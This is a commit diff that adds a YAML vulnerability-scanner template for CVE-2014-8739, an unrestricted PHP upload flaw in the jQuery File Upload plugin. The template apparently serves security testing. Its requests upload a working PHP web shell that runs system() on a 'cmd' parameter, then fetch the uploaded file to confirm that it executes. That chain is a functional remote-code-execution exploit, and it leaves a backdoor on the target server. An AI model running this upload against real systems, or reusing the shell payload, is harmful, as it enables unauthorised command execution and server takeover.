Update CVE-2014-8739 template structure

- Fix description formatting using YAML block scalar
- Simplify remediation section for conciseness
- Add intrusive tag for file upload behavior
- Reorder tags for consistency
- Clean up metadata formatting

http/cves/2014/CVE-2014-8739.yaml

@@ -0,0 +1,150 @@
+id: CVE-2014-8739
+
+info:
+  name: jQuery File Upload 6.4.4 - Unrestricted File Upload
+  author: pranjal
+  severity: critical
+  description: |
+    jQuery File Upload Plugin 6.4.4 contains an unrestricted file upload caused by lack of validation in server/php/UploadHandler.php, letting remote attackers execute arbitrary PHP code by uploading PHP files.
+  impact: |
+    Successful exploitation of this vulnerability can lead to remote code execution by uploading malicious PHP files, potentially compromising the entire web application and server.
+  remediation: |
+    Upgrade to a patched version of jQuery File Upload plugin and implement proper file type validation on the server side.
+  reference:
+    - https://www.exploit-db.com/exploits/35057/
+    - https://www.exploit-db.com/exploits/36811/
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-8739
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2014-8739
+    cwe-id: CWE-434
+    epss-score: 0.94326
+    epss-percentile: 0.99943
+    cpe: cpe:2.3:a:jquery_file_upload_project:jquery_file_upload:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: jquery_file_upload_project
+    product: jquery_file_upload
+  tags: cve,cve2014,edb,jquery,file-upload,rce,intrusive,kev
+
+variables:
+  randstr: "{{randstr}}"
+  php_payload: |
+    <?php
+    echo "{{randstr}}";
+    if(isset($_GET['cmd'])) {
+        system($_GET['cmd']);
+    }
+    ?>
+
+http:
+  # Step 1: Check if the vulnerable endpoint exists and identify jQuery File Upload
+  - method: GET
+    path:
+      - "{{BaseURL}}/server/php/"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '^{\"files\":\s*\[\]'
+        part: body
+
+      - type: word
+        part: body
+        words:
+          - "files"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "Content-Type: text/plain;charset=UTF-8"
+        condition: and
+
+    extractors:
+      - type: regex
+        name: upload_url
+        part: body
+        regex:
+          - '"url":\s*"([^"]+)"'
+          - '"upload_url":\s*"([^"]+)"'
+
+  # Step 2: Attempt to upload a PHP file with specific jQuery File Upload response patterns
+  - method: POST
+    path:
+      - "{{BaseURL}}/server/php/"
+
+    headers:
+      Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
+
+    body: |
+      ------WebKitFormBoundary{{randstr}}
+      Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
+      Content-Type: application/x-php
+
+      {{php_payload}}
+      ------WebKitFormBoundary{{randstr}}--
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '"files":\s*\[[^\]]*"[^"]*{{randstr}}[^"]*"'
+        part: body
+
+      - type: word
+        part: body
+        words:
+          - "files"
+          - "{{randstr}}"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "Content-Type: text/plain;charset=UTF-8"
+        condition: and
+
+    extractors:
+      - type: regex
+        name: uploaded_file
+        part: body
+        regex:
+          - '"name":\s*"([^"]+)"'
+          - '"url":\s*"([^"]+)"'
+
+  # Step 3: Verify the uploaded file is accessible and contains our unique payload
+  - method: GET
+    path:
+      - "{{BaseURL}}/server/php/files/{{randstr}}.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "{{randstr}}"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: php_output
+        part: body
+        regex:
+          - '{{randstr}}'
+
+# digest: 4a0a00473045022030d53b9152e1513c3423d7cdcb1b4d794cd54be61b903513a98849ef85a7a169022100bfb0a8e2682ffeb9d07fabd8b1a238debd4d25a1790fe0b672c7289916f12b56:922c64590222798bb761d5b6d8e72950